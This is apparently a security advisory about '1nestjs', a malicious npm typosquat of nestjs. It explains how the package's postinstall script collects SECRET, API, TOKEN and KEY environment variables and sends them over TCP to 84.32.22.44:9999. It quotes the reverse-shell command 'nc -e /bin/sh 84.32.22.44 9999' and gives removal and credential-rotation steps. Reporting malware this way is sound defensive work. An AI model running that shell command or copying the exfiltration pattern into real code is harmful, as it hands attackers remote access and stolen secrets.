1nestjsnpm
Advisory published Updated
1nestjs is a confirmed malicious npm package (MAL-2026-15909) that typosquats a legitimate package to trick installs (malicious version 0.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in 1nestjs (npm)
What this malware does
Package name typosquats nestjs and declares postinstall: node index.js in package.json, so index.js runs automatically during npm install. index.js iterates process.env, selects keys matching /^(SECRET|API|TOKEN|KEY)/, and writes the collected values as JSON over a raw TCP connection to 84.32.22.44:9999 (host loaded from servers.json). The same script executes nc -e /bin/sh 84.32.22.44 9999, giving the remote host an interactive shell on the installer's machine. package.json metadata self-identifies as a typosquat (description "Typosquat of nestjs", author "typosquat-bot").
The OpenSSF Package Analysis project identified '1nestjs' @ 0.0.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for 1nestjs (version 0.0.1).
If you installed it — respond
1nestjs is a typosquat — you almost certainly intended a legitimately-named package. Remove 1nestjs, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If 1nestjs was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks 1nestjs-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.